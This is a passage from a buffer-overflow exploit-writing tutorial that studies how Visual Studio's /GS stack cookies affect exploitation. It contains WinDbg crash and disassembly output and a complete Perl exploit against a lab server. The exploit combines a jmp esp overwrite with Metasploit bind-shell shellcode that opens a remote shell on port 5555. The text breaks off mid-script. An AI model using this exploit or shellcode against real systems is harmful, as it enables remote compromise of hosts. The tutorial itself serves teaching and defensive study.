.csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<blockquote>\n<p>(The text in ESP \u201cStack around the variable \u2018buf\u2019 was corrupted\u201d is the result of RTC check that is included in VS 2008. Disabling the Run Time Check in Visual Studio can be done by disabling compile optimization or setting \/RTCu parameter.. Of course, in real life, you don\u2019t want to disable this, as it is well effective against stack corruption)<\/p>\n<\/blockquote>\n<p>When you compile the original code with lcc-win32 (which has no compiler protections, leaving the executable vulnerable at runtime), and open the executable in windbg (without starting it yet) then the function looks like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(82c.af4): Break instruction exception - code 80000003 (first chance)\neax=00241eb4 ebx=7ffd7000 ecx=00000005 edx=00000020 esi=00241f48 edi=00241eb4\neip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c90120e cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; <strong><span style=\"color: #ff0000\">uf pr<\/span><\/strong>\n*** WARNING: Unable to verify checksum for c:\\sploits\\vulnsrv\\\\vulnsrv.exe\n<strong><span style=\"color: #ff0000\">vulnsrv!pr<\/span><\/strong>:\n004012d4 55              <span style=\"color: #0000ff\">push<\/span>    ebp\n004012d5 89e5            mov     ebp,esp\n004012d7 81ecf4010000    <span style=\"color: #0000ff\">sub<\/span>     esp,1F4h\n004012dd b97d000000      mov     ecx,7Dh\n\nvulnsrv!pr+0xe:\n004012e2 49              dec     ecx\n004012e3 c7048c5a5afaff  mov     dword ptr [esp+ecx*4],0FFFA5A5Ah\n004012ea 75f6            jne     vulnsrv!pr+0xe (004012e2)\n\nvulnsrv!pr+0x18:\n004012ec 56              <span style=\"color: #0000ff\">push<\/span>    esi\n004012ed 57              <span style=\"color: #0000ff\">push<\/span>    edi\n004012ee 8dbd0cfeffff    lea     edi,[ebp-1F4h]\n004012f4 8d35a0a04000    lea     esi,[vulnsrv!main+0x8d6e (0040a0a0)]\n004012fa b9f4010000      mov     ecx,1F4h\n004012ff f3a4            rep movs byte ptr es:[edi],byte ptr [esi]\n00401301 ff7508          <span style=\"color: #0000ff\">push<\/span>    dword ptr [ebp+8]\n00401304 8dbd0cfeffff    lea     edi,[ebp-1F4h]\n0040130a 57              <span style=\"color: #0000ff\">push<\/span>    edi\n0040130b e841300000      call    vulnsrv!main+0x301f (00404351)\n00401310 83c408          add     esp,8\n00401313 5f              <span style=\"color: #0000ff\">pop<\/span>     edi\n00401314 5e              <span style=\"color: #0000ff\">pop<\/span>     esi\n00401315 c9              leave\n00401316 c3              ret<\/pre>\n<p>Now send a 1000 character Metasploit pattern) to the server (not compiled with \/GS) and watch it die :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(c60.cb0): Access violation - code c0000005 (!!! second chance !!!)\neax=0012e656 ebx=00000000 ecx=0012e44e edx=0012e600 esi=00000001 edi=00403388\neip=<strong><span style=\"color: #ff0000\">72413971<\/span><\/strong> esp=0012e264 ebp=41387141 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\n<strong><span style=\"color: #ff0000\">72413971 ??              ???<\/span><\/strong>\n0:000&gt; <strong><span style=\"color: #ff0000\">!load byakugan<\/span><\/strong>\n[Byakugan] Successfully loaded!\n0:000&gt; <strong><span style=\"color: #ff0000\">!pattern_offset 1000<\/span><\/strong>\n[Byakugan] Control of ebp at <span style=\"color: #0000ff\">offset<\/span> 504.\n[Byakugan] Control of eip at <span style=\"color: #0000ff\">offset<\/span> 508.<\/pre>\n<p>We control eip at offset 508. ESP points to a part of our buffer:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; d esp\n0012e264  30 41 72 31 41 72 32 41-72 33 41 72 34 41 72 35  0Ar1Ar2Ar3Ar4Ar5\n0012e274  41 72 36 41 72 37 41 72-38 41 72 39 41 73 30 41  Ar6Ar7Ar8Ar9As0A\n0012e284  73 31 41 73 32 41 73 33-41 73 34 41 73 35 41 73  s1As2As3As4As5As\n0012e294  36 41 73 37 41 73 38 41-73 39 41 74 30 41 74 31  6As7As8As9At0At1\n0012e2a4  41 74 32 41 74 33 41 74-34 41 74 35 41 74 36 41  At2At3At4At5At6A\n0012e2b4  74 37 41 74 38 41 74 39-41 75 30 41 75 31 41 75  t7At8At9Au0Au1Au\n0012e2c4  32 41 75 33 41 75 34 41-75 35 41 75 36 41 75 37  2Au3Au4Au5Au6Au7\n0012e2d4  41 75 38 41 75 39 41 76-30 41 76 31 41 76 32 41  Au8Au9Av0Av1Av2A\n0:000&gt; d\n0012e2e4  76 33 41 76 34 41 76 35-41 76 36 41 76 37 41 76  v3Av4Av5Av6Av7Av\n0012e2f4  38 41 76 39 41 77 30 41-77 31 41 77 32 41 77 33  8Av9Aw0Aw1Aw2Aw3\n0012e304  41 77 34 41 77 35 41 77-36 41 77 37 41 77 38 41  Aw4Aw5Aw6Aw7Aw8A\n0012e314  77 39 41 78 30 41 78 31-41 78 32 41 78 33 41 78  w9Ax0Ax1Ax2Ax3Ax\n0012e324  34 41 78 35 41 78 36 41-78 37 41 78 38 41 78 39  4Ax5Ax6Ax7Ax8Ax9\n0012e334  41 79 30 41 79 31 41 79-32 41 79 33 41 79 34 41  Ay0Ay1Ay2Ay3Ay4A\n0012e344  79 35 41 79 36 41 79 37-41 79 38 41 79 39 41 7a  y5Ay6Ay7Ay8Ay9Az\n0012e354  30 41 7a 31 41 7a 32 41-7a 33 41 7a 34 41 7a 35  0Az1Az2Az3Az4Az5\n0:000&gt; d\n0012e364  41 7a 36 41 7a 37 41 7a-38 41 7a 39 42 61 30 42  Az6Az7Az8Az9Ba0B\n0012e374  61 31 42 61 32 42 61 33-42 61 34 42 61 35 42 61  a1Ba2Ba3Ba4Ba5Ba\n0012e384  36 42 61 37 42 61 38 42-61 39 42 62 30 42 62 31  6Ba7Ba8Ba9Bb0Bb1\n0012e394  42 62 32 42 62 33 42 62-34 42 62 35 42 62 36 42  Bb2Bb3Bb4Bb5Bb6B\n0012e3a4  62 37 42 62 38 42 62 39-42 63 30 42 63 31 42 63  b7Bb8Bb9Bc0Bc1Bc\n0012e3b4  32 42 63 33 42 63 34 42-63 35 42 63 36 42 63 37  2Bc3Bc4Bc5Bc6Bc7\n0012e3c4  42 63 38 42 63 39 42 64-30 42 64 31 42 64 32 42  Bc8Bc9Bd0Bd1Bd2B\n0012e3d4  64 33 42 64 34 42 64 35-42 64 36 42 64 37 42 64  d3Bd4Bd5Bd6Bd7Bd<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>(esp points to buffer at offset 512)<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">$ .\/pattern_offset.rb 0Ar1 1000\n512<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Quick and dirty exploit (with jmp esp from kernel32.dll : 0x7C874413) :<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">#\n# Writing buffer overflows - Tutorial\n# Peter Van Eeckhoutte\n# http:<span style=\"color: #008000\">\/\/www.corelan.be<\/span>\n#\n# Exploit for vulnsrv.c\n#\n#\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> --------------------------------------\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">     Writing Buffer Overflows\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">       Peter Van Eeckhoutte\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">     http:\/\/www.corelan.be\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> --------------------------------------\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">    Exploit for vulnsrv.c\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> --------------------------------------\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 508;\n\n#jmp esp (kernel32.dll)\n<span style=\"color: #0000ff\">my<\/span> $eipoverwrite = <span style=\"color: #0000ff\">pack<\/span>('V',0x7C874413);\n\n# windows\/shell_bind_tcp - 702 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/alpha_upper\n# EXITFUNC=seh, LPORT=5555, RHOST=\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x89\\xe0\\xd9\\xd0\\xd9\\x70\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x42\\x4a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x50\\x4d\\x4d\\x38\\x4c\\x39\\x4b\\x4f\\x4b\\x4f\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x30\\x4c\\x4b\\x42\\x4c\\x51\\x34\\x51\\x34\\x4c\\x4b\\x47\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x4c\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x45\\x51\\x4a\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x43\\x31<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x47\\x39\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x43\\x31\\x4a\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x31\\x49\\x50\\x4a\\x39\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x42\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x57\\x49\\x51\\x48\\x4a\\x44\\x4d\\x45\\x51\\x48\\x42\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x34\\x47\\x4b\\x46\\x34\\x46\\x44\\x51\\x38\\x42\\x55\\x4a\\x45<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x4f\\x51\\x34\\x43\\x31\\x4a\\x4b\\x43\\x56\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x43\\x46\\x4c\\x4c\\x4b\\x4b\\x39\\x42\\x4c\\x51\\x34\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x31\\x49\\x53\\x46\\x51\\x49\\x4b\\x43\\x54\\x4c\\x4b\\x51\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x30\\x4c\\x4b\\x47\\x30\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x4d\\x4c\\x4b\\x51\\x50\\x44\\x48\\x51\\x4e\\x43\\x58\\x4c\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4e\\x44\\x4e\\x4a\\x4c\\x46\\x30\\x4b\\x4f\\x4e\\x36\\x45\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x42\\x46\\x43\\x58\\x46\\x53\\x47\\x42\\x45\\x38\\x43\\x47<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x33\\x46\\x52\\x51\\x4f\\x46\\x34\\x4b\\x4f\\x48\\x50\\x42\\x48<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x4b\\x4a\\x4d\\x4b\\x4c\\x47\\x4b\\x46\\x30\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4f\\x4c\\x49\\x4d\\x35\\x43\\x56\\x4b\\x31\\x4a\\x4d\\x45\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x42\\x46\\x35\\x43\\x5a\\x43\\x32\\x4b\\x4f\\x4e\\x30\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x59\\x45\\x59\\x4a\\x55\\x4e\\x4d\\x51\\x47\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x50\\x53\\x50\\x53\\x46\\x33\\x46\\x33\\x51\\x53\\x50\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x33\\x46\\x33\\x4b\\x4f\\x4e\\x30\\x42\\x46\\x42\\x48\\x42\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x53\\x45\\x36\\x50\\x53\\x4b\\x39\\x4b\\x51\\x4c\\x55\\x43\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x44\\x45\\x4a\\x44\\x30\\x49\\x57\\x46\\x37\\x4b\\x4f\\x4e\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x4a\\x44\\x50\\x50\\x51\\x50\\x55\\x4b\\x4f\\x48\\x50\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x34\\x4e\\x4d\\x46\\x4e\\x4a\\x49\\x50\\x57\\x4b\\x4f\\x49\\x46<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x33\\x50\\x55\\x4b\\x4f\\x4e\\x30\\x42\\x48\\x4d\\x35\\x51\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x46\\x51\\x59\\x51\\x47\\x4b\\x4f\\x49\\x46\\x46\\x30\\x50\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x34\\x50\\x55\\x4b\\x4f\\x48\\x50\\x4a\\x33\\x43\\x58\\x4b\\x57<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x49\\x48\\x46\\x44\\x39\\x51\\x47\\x4b\\x4f\\x4e\\x36\\x46\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x4f\\x48\\x50\\x43\\x56\\x43\\x5a\\x45\\x34\\x42\\x46\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x53\\x42\\x4d\\x4b\\x39\\x4a\\x45\\x42\\x4a\\x50\\x50\\x50\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x59\\x48\\x4c\\x4b\\x39\\x4d\\x37\\x42\\x4a\\x47\\x34\\x4c\\x49<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x52\\x46\\x51\\x49\\x50\\x4b\\x43\\x4e\\x4a\\x4b\\x4e\\x47\\x32<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x4d\\x4b\\x4e\\x50\\x42\\x46\\x4c\\x4d\\x43\\x4c\\x4d\\x42\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x58\\x4e\\x4b\\x4e\\x4b\\x4e\\x4b\\x43\\x58\\x43\\x42\\x4b\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x33\\x42\\x36\\x4b\\x4f\\x43\\x45\\x51\\x54\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4b\\x46\\x37\\x50\\x52\\x50\\x51\\x50\\x51\\x50\\x51\\x43\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x51\\x46\\x31\\x50\\x51\\x51\\x45\\x50\\x51\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x58\\x4e\\x4d\\x49\\x49\\x44\\x45\\x48\\x4e\\x46\\x33\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x43\\x5a\\x4b\\x4f\\x4b\\x4f\\x50\\x37\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x47\\x4b\\x4c\\x4b\\x33\\x49\\x54\\x42\\x44\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x51\\x42\\x4b\\x4f\\x48\\x50\\x43\\x58\\x4a\\x50\\x4c\\x4a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x34\\x51\\x4f\\x50\\x53\\x4b\\x4f\\x4e\\x36\\x4b\\x4f\\x48\\x50<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41<\/span>&quot;;\n\n<span style=\"color: #0000ff\">my<\/span> $nops=&quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 10;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $junk.$eipoverwrite.$nops.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">telnet $host 5555\\n<\/span>&quot;);<\/pre>\n<p>Ok, that works. Plain and simple, but the exploit only works because there is no \/GS protection.<\/p>\n<p>Now try the same against the vulnerable server that was compiled with \/GS :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image21.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb21.png\" width=\"589\" height=\"288\" \/><\/a><\/p>\n<p>Application dies, but no working exploit.<\/p>\n<p>Open the vulnerable server (with gs) again in the debugger, and before letting it run, set a breakpoint on the security_check_cookie :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(b88.260): Break instruction exception - code 80000003 (first chance)\neax=00251eb4 ebx=7ffd7000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4 eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0\nnv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202\nntdll!DbgBreakPoint:\n7c90120e cc <span style=\"color: #0000ff\">int<\/span> 3 \n\n0:000&gt; <strong><span style=\"color: #ff0000\">bp vulnerable_server!__security_check_cookie<\/span><\/strong>\n0:000&gt; bl\n0 e 004012dd 0001 (0001) 0:**** vulnerable_server!__security_check_cookie<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>What exactly happens when the buffer\/stack is subject to an overflow ? Let\u2019s see by sending exactly 512 A\u2019s to the vulnerable server (example code \ud83d\ude42<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">\\x41<\/span>&quot; x 512;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n\n# get the port addressmy $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the portsocket(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $junk.&quot;<span style=\"color: 